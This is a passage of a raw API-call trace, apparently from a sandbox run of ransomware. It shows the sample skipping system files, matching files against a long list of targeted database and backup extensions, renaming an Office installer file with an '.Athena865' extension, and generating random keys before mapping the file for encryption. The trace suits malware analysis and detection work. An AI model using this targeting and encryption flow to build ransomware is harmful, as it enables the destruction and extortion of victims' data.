cFileName="OneNoteMUI.msi", cAlternateFileName="ONENOT~1.MSI")) returned 1 [0057.439] lstrcmpiW (lpString1="OneNoteMUI.msi", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0057.439] lstrcmpiW (lpString1="OneNoteMUI.msi", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0057.439] lstrcmpiW (lpString1="OneNoteMUI.msi", lpString2=".") returned 1 [0057.439] lstrcmpiW (lpString1="OneNoteMUI.msi", lpString2="..") returned 1 [0057.439] lstrcmpiW (lpString1="OneNoteMUI.msi", lpString2="windows") returned -1 [0057.439] lstrcmpiW (lpString1="OneNoteMUI.msi", lpString2="bootmgr") returned 1 [0057.439] lstrcmpiW (lpString1="OneNoteMUI.msi", lpString2="temp") returned -1 [0057.439] lstrcmpiW (lpString1="OneNoteMUI.msi", lpString2="pagefile.sys") returned -1 [0057.439] lstrcmpiW (lpString1="OneNoteMUI.msi", lpString2="boot") returned 1 [0057.439] lstrcmpiW (lpString1="OneNoteMUI.msi", lpString2="ids.txt") returned 1 [0057.439] lstrcmpiW (lpString1="OneNoteMUI.msi", lpString2="ntuser.dat") returned 1 [0057.439] lstrcmpiW (lpString1="OneNoteMUI.msi", lpString2="perflogs") returned -1 [0057.439] lstrcmpiW (lpString1="OneNoteMUI.msi", lpString2="MSBuild") returned 1 [0057.439] lstrlenW (lpString="OneNoteMUI.msi") returned 14 [0057.439] lstrcpyW (in: lpString1=0x241e8c6, lpString2="OneNoteMUI.msi" | out: lpString1="OneNoteMUI.msi") returned="OneNoteMUI.msi" [0057.440] lstrlenW (lpString="OneNoteMUI.msi") returned 14 [0057.440] lstrlenW (lpString="Athena865") returned 9 [0057.440] lstrcmpiW (lpString1="teMUI.msi", lpString2="Athena865") returned 1 [0057.440] lstrlenW (lpString=".dll") returned 4 [0057.440] lstrcmpiW (lpString1="OneNoteMUI.msi", lpString2=".dll") returned 1 [0057.440] lstrlenW (lpString=".lnk") returned 4 [0057.440] lstrcmpiW (lpString1="OneNoteMUI.msi", lpString2=".lnk") returned 1 [0057.440] lstrlenW (lpString=".ini") returned 4 [0057.440] lstrcmpiW (lpString1="OneNoteMUI.msi", lpString2=".ini") returned 1 [0057.440] lstrlenW (lpString=".sys") returned 4 [0057.440] lstrcmpiW (lpString1="OneNoteMUI.msi", lpString2=".sys") returned 1 [0057.440] lstrlenW (lpString="OneNoteMUI.msi") returned 14 [0057.440] lstrlenW (lpString="bak") returned 3 [0057.440] lstrcmpiW (lpString1="msi", lpString2="bak") returned 1 [0057.440] lstrlenW (lpString="ba_") returned 3 [0057.440] lstrcmpiW (lpString1="msi", lpString2="ba_") returned 1 [0057.440] lstrlenW (lpString="dbb") returned 3 [0057.440] lstrcmpiW (lpString1="msi", lpString2="dbb") returned 1 [0057.440] lstrlenW (lpString="vmdk") returned 4 [0057.440] lstrcmpiW (lpString1=".msi", lpString2="vmdk") returned -1 [0057.440] lstrlenW (lpString="rar") returned 3 [0057.440] lstrcmpiW (lpString1="msi", lpString2="rar") returned -1 [0057.440] lstrlenW (lpString="zip") returned 3 [0057.440] lstrcmpiW (lpString1="msi", lpString2="zip") returned -1 [0057.440] lstrlenW (lpString="tgz") returned 3 [0057.440] lstrcmpiW (lpString1="msi", lpString2="tgz") returned -1 [0057.440] lstrlenW (lpString="vbox") returned 4 [0057.440] lstrcmpiW (lpString1=".msi", lpString2="vbox") returned -1 [0057.440] lstrlenW (lpString="vdi") returned 3 [0057.440] lstrcmpiW (lpString1="msi", lpString2="vdi") returned -1 [0057.440] lstrlenW (lpString="vhd") returned 3 [0057.440] lstrcmpiW (lpString1="msi", lpString2="vhd") returned -1 [0057.441] lstrlenW (lpString="vhdx") returned 4 [0057.441] lstrcmpiW (lpString1=".msi", lpString2="vhdx") returned -1 [0057.441] lstrlenW (lpString="avhd") returned 4 [0057.441] lstrcmpiW (lpString1=".msi", lpString2="avhd") returned -1 [0057.441] lstrlenW (lpString="db") returned 2 [0057.441] lstrcmpiW (lpString1="si", lpString2="db") returned 1 [0057.441] lstrlenW (lpString="db2") returned 3 [0057.441] lstrcmpiW (lpString1="msi", lpString2="db2") returned 1 [0057.441] lstrlenW (lpString="db3") returned 3 [0057.441] lstrcmpiW (lpString1="msi", lpString2="db3") returned 1 [0057.441] lstrlenW (lpString="dbf") returned 3 [0057.441] lstrcmpiW (lpString1="msi", lpString2="dbf") returned 1 [0057.441] lstrlenW (lpString="mdf") returned 3 [0057.441] lstrcmpiW (lpString1="msi", lpString2="mdf") returned 1 [0057.441] lstrlenW (lpString="mdb") returned 3 [0057.441] lstrcmpiW (lpString1="msi", lpString2="mdb") returned 1 [0057.441] lstrlenW (lpString="sql") returned 3 [0057.442] lstrcmpiW (lpString1="msi", lpString2="sql") returned -1 [0057.442] lstrlenW (lpString="sqlite") returned 6 [0057.442] lstrcmpiW (lpString1="UI.msi", lpString2="sqlite") returned 1 [0057.442] lstrlenW (lpString="sqlite3") returned 7 [0057.442] lstrcmpiW (lpString1="MUI.msi", lpString2="sqlite3") returned -1 [0057.442] lstrlenW (lpString="sqlitedb") returned 8 [0057.442] lstrcmpiW (lpString1="eMUI.msi", lpString2="sqlitedb") returned -1 [0057.442] lstrlenW (lpString="xml") returned 3 [0057.442] lstrcmpiW (lpString1="msi", lpString2="xml") returned -1 [0057.442] lstrlenW (lpString="$er") returned 3 [0057.442] lstrcmpiW (lpString1="msi", lpString2="$er") returned 1 [0057.442] lstrlenW (lpString="4dd") returned 3 [0057.442] lstrcmpiW (lpString1="msi", lpString2="4dd") returned 1 [0057.442] lstrlenW (lpString="4dl") returned 3 [0057.442] lstrcmpiW (lpString1="msi", lpString2="4dl") returned 1 [0057.442] lstrlenW (lpString="^^^") returned 3 [0057.442] lstrcmpiW (lpString1="msi", lpString2="^^^") returned 1 [0057.442] lstrlenW (lpString="abs") returned 3 [0057.443] lstrcmpiW (lpString1="msi", lpString2="abs") returned 1 [0057.443] lstrlenW (lpString="abx") returned 3 [0057.443] lstrcmpiW (lpString1="msi", lpString2="abx") returned 1 [0057.443] lstrlenW (lpString="accdb") returned 5 [0057.443] lstrcmpiW (lpString1="I.msi", lpString2="accdb") returned 1 [0057.443] lstrlenW (lpString="accdc") returned 5 [0057.443] lstrcmpiW (lpString1="I.msi", lpString2="accdc") returned 1 [0057.443] lstrlenW (lpString="accde") returned 5 [0057.443] lstrcmpiW (lpString1="I.msi", lpString2="accde") returned 1 [0057.443] lstrlenW (lpString="accdr") returned 5 [0057.443] lstrcmpiW (lpString1="I.msi", lpString2="accdr") returned 1 [0057.443] lstrlenW (lpString="accdt") returned 5 [0057.443] lstrcmpiW (lpString1="I.msi", lpString2="accdt") returned 1 [0057.443] lstrlenW (lpString="accdw") returned 5 [0057.443] lstrcmpiW (lpString1="I.msi", lpString2="accdw") returned 1 [0057.443] lstrlenW (lpString="accft") returned 5 [0057.443] lstrcmpiW (lpString1="I.msi", lpString2="accft") returned 1 [0057.443] lstrlenW (lpString="adb") returned 3 [0057.443] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1 [0057.443] lstrlenW (lpString="adb") returned 3 [0057.443] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1 [0057.443] lstrlenW (lpString="ade") returned 3 [0057.443] lstrcmpiW (lpString1="msi", lpString2="ade") returned 1 [0057.443] lstrlenW (lpString="adf") returned 3 [0057.443] lstrcmpiW (lpString1="msi", lpString2="adf") returned 1 [0057.443] lstrlenW (lpString="adn") returned 3 [0057.443] lstrcmpiW (lpString1="msi", lpString2="adn") returned 1 [0057.443] lstrlenW (lpString="adp") returned 3 [0057.443] lstrcmpiW (lpString1="msi", lpString2="adp") returned 1 [0057.443] lstrlenW (lpString="alf") returned 3 [0057.443] lstrcmpiW (lpString1="msi", lpString2="alf") returned 1 [0057.443] lstrlenW (lpString="ask") returned 3 [0057.443] lstrcmpiW (lpString1="msi", lpString2="ask") returned 1 [0057.444] lstrlenW (lpString="btr") returned 3 [0057.444] lstrcmpiW (lpString1="msi", lpString2="btr") returned 1 [0057.444] lstrlenW (lpString="cat") returned 3 [0057.444] lstrcmpiW (lpString1="msi", lpString2="cat") returned 1 [0057.444] lstrlenW (lpString="cdb") returned 3 [0057.444] lstrcmpiW (lpString1="msi", lpString2="cdb") returned 1 [0057.444] lstrlenW (lpString="ckp") returned 3 [0057.444] lstrcmpiW (lpString1="msi", lpString2="ckp") returned 1 [0057.444] lstrlenW (lpString="cma") returned 3 [0057.444] lstrcmpiW (lpString1="msi", lpString2="cma") returned 1 [0057.444] lstrlenW (lpString="cpd") returned 3 [0057.444] lstrcmpiW (lpString1="msi", lpString2="cpd") returned 1 [0057.444] lstrlenW (lpString="dacpac") returned 6 [0057.444] lstrcmpiW (lpString1="UI.msi", lpString2="dacpac") returned 1 [0057.444] lstrlenW (lpString="dad") returned 3 [0057.444] lstrcmpiW (lpString1="msi", lpString2="dad") returned 1 [0057.444] lstrlenW (lpString="dadiagrams") returned 10 [0057.444] lstrcmpiW (lpString1="oteMUI.msi", lpString2="dadiagrams") returned 1 [0057.444] lstrlenW (lpString="daschema") returned 8 [0057.444] lstrcmpiW (lpString1="eMUI.msi", lpString2="daschema") returned 1 [0057.444] lstrlenW (lpString="db-journal") returned 10 [0057.444] lstrcmpiW (lpString1="oteMUI.msi", lpString2="db-journal") returned 1 [0057.444] lstrlenW (lpString="db-shm") returned 6 [0057.444] lstrcmpiW (lpString1="UI.msi", lpString2="db-shm") returned 1 [0057.444] lstrlenW (lpString="db-wal") returned 6 [0057.444] lstrcmpiW (lpString1="UI.msi", lpString2="db-wal") returned 1 [0057.444] lstrlenW (lpString="dbc") returned 3 [0057.444] lstrcmpiW (lpString1="msi", lpString2="dbc") returned 1 [0057.444] lstrlenW (lpString="dbs") returned 3 [0057.444] lstrcmpiW (lpString1="msi", lpString2="dbs") returned 1 [0057.444] lstrlenW (lpString="dbt") returned 3 [0057.444] lstrcmpiW (lpString1="msi", lpString2="dbt") returned 1 [0057.444] lstrlenW (lpString="dbv") returned 3 [0057.445] lstrcmpiW (lpString1="msi", lpString2="dbv") returned 1 [0057.445] lstrlenW (lpString="dbx") returned 3 [0057.445] lstrcmpiW (lpString1="msi", lpString2="dbx") returned 1 [0057.445] lstrlenW (lpString="dcb") returned 3 [0057.445] lstrcmpiW (lpString1="msi", lpString2="dcb") returned 1 [0057.445] lstrlenW (lpString="dct") returned 3 [0057.445] lstrcmpiW (lpString1="msi", lpString2="dct") returned 1 [0057.445] lstrlenW (lpString="dcx") returned 3 [0057.445] lstrcmpiW (lpString1="msi", lpString2="dcx") returned 1 [0057.445] lstrlenW (lpString="ddl") returned 3 [0057.445] lstrcmpiW (lpString1="msi", lpString2="ddl") returned 1 [0057.445] lstrlenW (lpString="dlis") returned 4 [0057.445] lstrcmpiW (lpString1=".msi", lpString2="dlis") returned -1 [0057.445] lstrlenW (lpString="dp1") returned 3 [0057.445] lstrcmpiW (lpString1="msi", lpString2="dp1") returned 1 [0057.445] lstrlenW (lpString="dqy") returned 3 [0057.445] lstrcmpiW (lpString1="msi", lpString2="dqy") returned 1 [0057.445] lstrlenW (lpString="dsk") returned 3 [0057.445] lstrcmpiW (lpString1="msi", lpString2="dsk") returned 1 [0057.445] lstrlenW (lpString="dsn") returned 3 [0057.445] lstrcmpiW (lpString1="msi", lpString2="dsn") returned 1 [0057.445] lstrlenW (lpString="dtsx") returned 4 [0057.445] lstrcmpiW (lpString1=".msi", lpString2="dtsx") returned -1 [0057.445] lstrlenW (lpString="dxl") returned 3 [0057.445] lstrcmpiW (lpString1="msi", lpString2="dxl") returned 1 [0057.445] lstrlenW (lpString="eco") returned 3 [0057.445] lstrcmpiW (lpString1="msi", lpString2="eco") returned 1 [0057.445] lstrlenW (lpString="ecx") returned 3 [0057.445] lstrcmpiW (lpString1="msi", lpString2="ecx") returned 1 [0057.445] lstrlenW (lpString="edb") returned 3 [0057.445] lstrcmpiW (lpString1="msi", lpString2="edb") returned 1 [0057.445] lstrlenW (lpString="epim") returned 4 [0057.445] lstrcmpiW (lpString1=".msi", lpString2="epim") returned -1 [0057.446] lstrlenW (lpString="fcd") returned 3 [0057.446] lstrcmpiW (lpString1="msi", lpString2="fcd") returned 1 [0057.446] lstrlenW (lpString="fdb") returned 3 [0057.446] lstrcmpiW (lpString1="msi", lpString2="fdb") returned 1 [0057.446] lstrlenW (lpString="fic") returned 3 [0057.446] lstrcmpiW (lpString1="msi", lpString2="fic") returned 1 [0057.446] lstrlenW (lpString="flexolibrary") returned 12 [0057.446] lstrcmpiW (lpString1="eNoteMUI.msi", lpString2="flexolibrary") returned -1 [0057.446] lstrlenW (lpString="fm5") returned 3 [0057.446] lstrcmpiW (lpString1="msi", lpString2="fm5") returned 1 [0057.446] lstrlenW (lpString="fmp") returned 3 [0057.446] lstrcmpiW (lpString1="msi", lpString2="fmp") returned 1 [0057.446] lstrlenW (lpString="fmp12") returned 5 [0057.446] lstrcmpiW (lpString1="I.msi", lpString2="fmp12") returned 1 [0057.446] lstrlenW (lpString="fmpsl") returned 5 [0057.446] lstrcmpiW (lpString1="I.msi", lpString2="fmpsl") returned 1 [0057.446] lstrlenW (lpString="fol") returned 3 [0057.446] lstrcmpiW (lpString1="msi", lpString2="fol") returned 1 [0057.446] lstrlenW (lpString="fp3") returned 3 [0057.446] lstrcmpiW (lpString1="msi", lpString2="fp3") returned 1 [0057.446] lstrlenW (lpString="fp4") returned 3 [0057.446] lstrcmpiW (lpString1="msi", lpString2="fp4") returned 1 [0057.446] lstrlenW (lpString="fp5") returned 3 [0057.446] lstrcmpiW (lpString1="msi", lpString2="fp5") returned 1 [0057.446] lstrlenW (lpString="fp7") returned 3 [0057.446] lstrcmpiW (lpString1="msi", lpString2="fp7") returned 1 [0057.446] lstrlenW (lpString="fpt") returned 3 [0057.446] lstrcmpiW (lpString1="msi", lpString2="fpt") returned 1 [0057.446] lstrlenW (lpString="frm") returned 3 [0057.446] lstrcmpiW (lpString1="msi", lpString2="frm") returned 1 [0057.446] lstrlenW (lpString="gdb") returned 3 [0057.446] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1 [0057.446] lstrlenW (lpString="gdb") returned 3 [0057.447] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1 [0057.447] lstrlenW (lpString="grdb") returned 4 [0057.447] lstrcmpiW (lpString1=".msi", lpString2="grdb") returned -1 [0057.447] lstrlenW (lpString="gwi") returned 3 [0057.447] lstrcmpiW (lpString1="msi", lpString2="gwi") returned 1 [0057.447] lstrlenW (lpString="hdb") returned 3 [0057.447] lstrcmpiW (lpString1="msi", lpString2="hdb") returned 1 [0057.447] lstrlenW (lpString="his") returned 3 [0057.447] lstrcmpiW (lpString1="msi", lpString2="his") returned 1 [0057.447] lstrlenW (lpString="ib") returned 2 [0057.447] lstrcmpiW (lpString1="si", lpString2="ib") returned 1 [0057.447] lstrlenW (lpString="idb") returned 3 [0057.447] lstrcmpiW (lpString1="msi", lpString2="idb") returned 1 [0057.447] lstrlenW (lpString="ihx") returned 3 [0057.447] lstrcmpiW (lpString1="msi", lpString2="ihx") returned 1 [0057.447] lstrlenW (lpString="itdb") returned 4 [0057.447] lstrcmpiW (lpString1=".msi", lpString2="itdb") returned -1 [0057.447] lstrlenW (lpString="itw") returned 3 [0057.447] lstrcmpiW (lpString1="msi", lpString2="itw") returned 1 [0057.447] lstrlenW (lpString="jet") returned 3 [0057.447] lstrcmpiW (lpString1="msi", lpString2="jet") returned 1 [0057.447] lstrlenW (lpString="jtx") returned 3 [0057.447] lstrcmpiW (lpString1="msi", lpString2="jtx") returned 1 [0057.447] lstrlenW (lpString="kdb") returned 3 [0057.447] lstrcmpiW (lpString1="msi", lpString2="kdb") returned 1 [0057.447] lstrlenW (lpString="kexi") returned 4 [0057.447] lstrcmpiW (lpString1=".msi", lpString2="kexi") returned -1 [0057.447] lstrlenW (lpString="kexic") returned 5 [0057.447] lstrcmpiW (lpString1="I.msi", lpString2="kexic") returned -1 [0057.447] lstrlenW (lpString="kexis") returned 5 [0057.447] lstrcmpiW (lpString1="I.msi", lpString2="kexis") returned -1 [0057.447] lstrlenW (lpString="lgc") returned 3 [0057.447] lstrcmpiW (lpString1="msi", lpString2="lgc") returned 1 [0057.448] lstrlenW (lpString="lwx") returned 3 [0057.448] lstrcmpiW (lpString1="msi", lpString2="lwx") returned 1 [0057.448] lstrlenW (lpString="maf") returned 3 [0057.448] lstrcmpiW (lpString1="msi", lpString2="maf") returned 1 [0057.448] lstrlenW (lpString="maq") returned 3 [0057.448] lstrcmpiW (lpString1="msi", lpString2="maq") returned 1 [0057.448] lstrlenW (lpString="mar") returned 3 [0057.448] lstrcmpiW (lpString1="msi", lpString2="mar") returned 1 [0057.448] lstrlenW (lpString="marshal") returned 7 [0057.448] lstrcmpiW (lpString1="MUI.msi", lpString2="marshal") returned 1 [0057.448] lstrlenW (lpString="mas") returned 3 [0057.448] lstrcmpiW (lpString1="msi", lpString2="mas") returned 1 [0057.448] lstrlenW (lpString="mav") returned 3 [0057.448] lstrcmpiW (lpString1="msi", lpString2="mav") returned 1 [0057.448] lstrlenW (lpString="maw") returned 3 [0057.448] lstrcmpiW (lpString1="msi", lpString2="maw") returned 1 [0057.448] lstrlenW (lpString="mdbhtml") returned 7 [0057.448] lstrcmpiW (lpString1="MUI.msi", lpString2="mdbhtml") returned 1 [0057.448] lstrlenW (lpString="mdn") returned 3 [0057.448] lstrcmpiW (lpString1="msi", lpString2="mdn") returned 1 [0057.448] lstrlenW (lpString="mdt") returned 3 [0057.448] lstrcmpiW (lpString1="msi", lpString2="mdt") returned 1 [0057.448] lstrlenW (lpString="mfd") returned 3 [0057.448] lstrcmpiW (lpString1="msi", lpString2="mfd") returned 1 [0057.448] lstrlenW (lpString="mpd") returned 3 [0057.448] lstrcmpiW (lpString1="msi", lpString2="mpd") returned 1 [0057.448] lstrlenW (lpString="mrg") returned 3 [0057.448] lstrcmpiW (lpString1="msi", lpString2="mrg") returned 1 [0057.448] lstrlenW (lpString="mud") returned 3 [0057.448] lstrcmpiW (lpString1="msi", lpString2="mud") returned -1 [0057.448] lstrlenW (lpString="mwb") returned 3 [0057.448] lstrcmpiW (lpString1="msi", lpString2="mwb") returned -1 [0057.448] lstrlenW (lpString="myd") returned 3 [0057.449] lstrcmpiW (lpString1="msi", lpString2="myd") returned -1 [0057.449] lstrlenW (lpString="ndf") returned 3 [0057.449] lstrcmpiW (lpString1="msi", lpString2="ndf") returned -1 [0057.449] lstrlenW (lpString="nnt") returned 3 [0057.449] lstrcmpiW (lpString1="msi", lpString2="nnt") returned -1 [0057.449] lstrlenW (lpString="nrmlib") returned 6 [0057.449] lstrcmpiW (lpString1="UI.msi", lpString2="nrmlib") returned 1 [0057.449] lstrlenW (lpString="ns2") returned 3 [0057.449] lstrcmpiW (lpString1="msi", lpString2="ns2") returned -1 [0057.449] lstrlenW (lpString="ns3") returned 3 [0057.449] lstrcmpiW (lpString1="msi", lpString2="ns3") returned -1 [0057.449] lstrlenW (lpString="ns4") returned 3 [0057.449] lstrcmpiW (lpString1="msi", lpString2="ns4") returned -1 [0057.449] lstrlenW (lpString="nsf") returned 3 [0057.449] lstrcmpiW (lpString1="msi", lpString2="nsf") returned -1 [0057.449] lstrlenW (lpString="nv") returned 2 [0057.449] lstrcmpiW (lpString1="si", lpString2="nv") returned 1 [0057.449] lstrlenW (lpString="nv2") returned 3 [0057.449] lstrcmpiW (lpString1="msi", lpString2="nv2") returned -1 [0057.449] lstrlenW (lpString="nwdb") returned 4 [0057.449] lstrcmpiW (lpString1=".msi", lpString2="nwdb") returned -1 [0057.449] lstrlenW (lpString="nyf") returned 3 [0057.449] lstrcmpiW (lpString1="msi", lpString2="nyf") returned -1 [0057.449] lstrlenW (lpString="odb") returned 3 [0057.449] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1 [0057.449] lstrlenW (lpString="odb") returned 3 [0057.449] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1 [0057.449] lstrlenW (lpString="oqy") returned 3 [0057.449] lstrcmpiW (lpString1="msi", lpString2="oqy") returned -1 [0057.449] lstrlenW (lpString="ora") returned 3 [0057.449] lstrcmpiW (lpString1="msi", lpString2="ora") returned -1 [0057.449] lstrlenW (lpString="orx") returned 3 [0057.449] lstrcmpiW (lpString1="msi", lpString2="orx") returned -1 [0057.449] lstrlenW (lpString="owc") returned 3 [0057.450] lstrcmpiW (lpString1="msi", lpString2="owc") returned -1 [0057.450] lstrlenW (lpString="p96") returned 3 [0057.450] lstrcmpiW (lpString1="msi", lpString2="p96") returned -1 [0057.450] lstrlenW (lpString="p97") returned 3 [0057.450] lstrcmpiW (lpString1="msi", lpString2="p97") returned -1 [0057.450] lstrlenW (lpString="pan") returned 3 [0057.450] lstrcmpiW (lpString1="msi", lpString2="pan") returned -1 [0057.450] lstrlenW (lpString="pdb") returned 3 [0057.450] lstrcmpiW (lpString1="msi", lpString2="pdb") returned -1 [0057.450] lstrlenW (lpString="pdm") returned 3 [0057.450] lstrcmpiW (lpString1="msi", lpString2="pdm") returned -1 [0057.450] lstrlenW (lpString="pnz") returned 3 [0057.450] lstrcmpiW (lpString1="msi", lpString2="pnz") returned -1 [0057.450] lstrlenW (lpString="qry") returned 3 [0057.450] lstrcmpiW (lpString1="msi", lpString2="qry") returned -1 [0057.450] lstrlenW (lpString="qvd") returned 3 [0057.450] lstrcmpiW (lpString1="msi", lpString2="qvd") returned -1 [0057.450] lstrlenW (lpString="rbf") returned 3 [0057.450] lstrcmpiW (lpString1="msi", lpString2="rbf") returned -1 [0057.450] lstrlenW (lpString="rctd") returned 4 [0057.450] lstrcmpiW (lpString1=".msi", lpString2="rctd") returned -1 [0057.450] lstrlenW (lpString="rod") returned 3 [0057.450] lstrcmpiW (lpString1="msi", lpString2="rod") returned -1 [0057.450] lstrlenW (lpString="rodx") returned 4 [0057.450] lstrcmpiW (lpString1=".msi", lpString2="rodx") returned -1 [0057.450] lstrlenW (lpString="rpd") returned 3 [0057.450] lstrcmpiW (lpString1="msi", lpString2="rpd") returned -1 [0057.450] lstrlenW (lpString="rsd") returned 3 [0057.450] lstrcmpiW (lpString1="msi", lpString2="rsd") returned -1 [0057.450] lstrlenW (lpString="sas7bdat") returned 8 [0057.450] lstrcmpiW (lpString1="eMUI.msi", lpString2="sas7bdat") returned -1 [0057.450] lstrlenW (lpString="sbf") returned 3 [0057.450] lstrcmpiW (lpString1="msi", lpString2="sbf") returned -1 [0057.450] lstrlenW (lpString="scx") returned 3 [0057.451] lstrcmpiW (lpString1="msi", lpString2="scx") returned -1 [0057.451] lstrlenW (lpString="sdb") returned 3 [0057.451] lstrcmpiW (lpString1="msi", lpString2="sdb") returned -1 [0057.451] lstrlenW (lpString="sdc") returned 3 [0057.451] lstrcmpiW (lpString1="msi", lpString2="sdc") returned -1 [0057.451] lstrlenW (lpString="sdf") returned 3 [0057.451] lstrcmpiW (lpString1="msi", lpString2="sdf") returned -1 [0057.451] lstrlenW (lpString="sis") returned 3 [0057.451] lstrcmpiW (lpString1="msi", lpString2="sis") returned -1 [0057.451] lstrlenW (lpString="spq") returned 3 [0057.451] lstrcmpiW (lpString1="msi", lpString2="spq") returned -1 [0057.451] lstrlenW (lpString="te") returned 2 [0057.451] lstrcmpiW (lpString1="si", lpString2="te") returned -1 [0057.451] lstrlenW (lpString="teacher") returned 7 [0057.451] lstrcmpiW (lpString1="MUI.msi", lpString2="teacher") returned -1 [0057.451] lstrlenW (lpString="tmd") returned 3 [0057.451] lstrcmpiW (lpString1="msi", lpString2="tmd") returned -1 [0057.451] lstrlenW (lpString="tps") returned 3 [0057.451] lstrcmpiW (lpString1="msi", lpString2="tps") returned -1 [0057.451] lstrlenW (lpString="trc") returned 3 [0057.451] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1 [0057.451] lstrlenW (lpString="trc") returned 3 [0057.451] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1 [0057.451] lstrlenW (lpString="trm") returned 3 [0057.451] lstrcmpiW (lpString1="msi", lpString2="trm") returned -1 [0057.451] lstrlenW (lpString="udb") returned 3 [0057.451] lstrcmpiW (lpString1="msi", lpString2="udb") returned -1 [0057.451] lstrlenW (lpString="udl") returned 3 [0057.451] lstrcmpiW (lpString1="msi", lpString2="udl") returned -1 [0057.451] lstrlenW (lpString="usr") returned 3 [0057.451] lstrcmpiW (lpString1="msi", lpString2="usr") returned -1 [0057.451] lstrlenW (lpString="v12") returned 3 [0057.451] lstrcmpiW (lpString1="msi", lpString2="v12") returned -1 [0057.452] lstrlenW (lpString="vis") returned 3 [0057.452] lstrcmpiW (lpString1="msi", lpString2="vis") returned -1 [0057.452] lstrlenW (lpString="vpd") returned 3 [0057.452] lstrcmpiW (lpString1="msi", lpString2="vpd") returned -1 [0057.452] lstrlenW (lpString="vvv") returned 3 [0057.452] lstrcmpiW (lpString1="msi", lpString2="vvv") returned -1 [0057.452] lstrlenW (lpString="wdb") returned 3 [0057.452] lstrcmpiW (lpString1="msi", lpString2="wdb") returned -1 [0057.452] lstrlenW (lpString="wmdb") returned 4 [0057.452] lstrcmpiW (lpString1=".msi", lpString2="wmdb") returned -1 [0057.452] lstrlenW (lpString="wrk") returned 3 [0057.452] lstrcmpiW (lpString1="msi", lpString2="wrk") returned -1 [0057.452] lstrlenW (lpString="xdb") returned 3 [0057.452] lstrcmpiW (lpString1="msi", lpString2="xdb") returned -1 [0057.452] lstrlenW (lpString="xld") returned 3 [0057.452] lstrcmpiW (lpString1="msi", lpString2="xld") returned -1 [0057.452] lstrlenW (lpString="xmlff") returned 5 [0057.452] lstrcmpiW (lpString1="I.msi", lpString2="xmlff") returned -1 [0057.452] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.Athena865") returned 87 [0057.452] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi.athena865"), dwFlags=0x1) returned 1 [0057.453] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0057.453] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2503680) returned 1 [0057.453] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0057.453] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0057.453] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518de8 [0057.453] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518cd8) returned 1 [0057.454] CryptGenRandom (in: hProv=0x518cd8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0057.454] CryptReleaseContext (hProv=0x518cd8, dwFlags=0x0) returned 1 [0057.454] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x263700, lpName=0x0) returned 0x17c [0057.457] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x200000, dwNumberOfBytesToMap=0x63700) returned 0x1f0000 [0057.476] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3000000 [0057.557] UnmapViewOfFile (lpBaseAddress=0x3000000) returned 1 [0057.575] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518cd8) returned 1 [0057.576] CryptGenRandom (in: hProv=0x518cd8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0057.576] CryptReleaseContext (hProv=0x518cd8, dwFlags=0x0) returned 1 [0057.576] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0057.576] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0057.576] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52dfb8 [0057.576] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0057.576] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfb8 | out: hHeap=0x4f0000) returned 1 [0057.576] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0057.576] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) 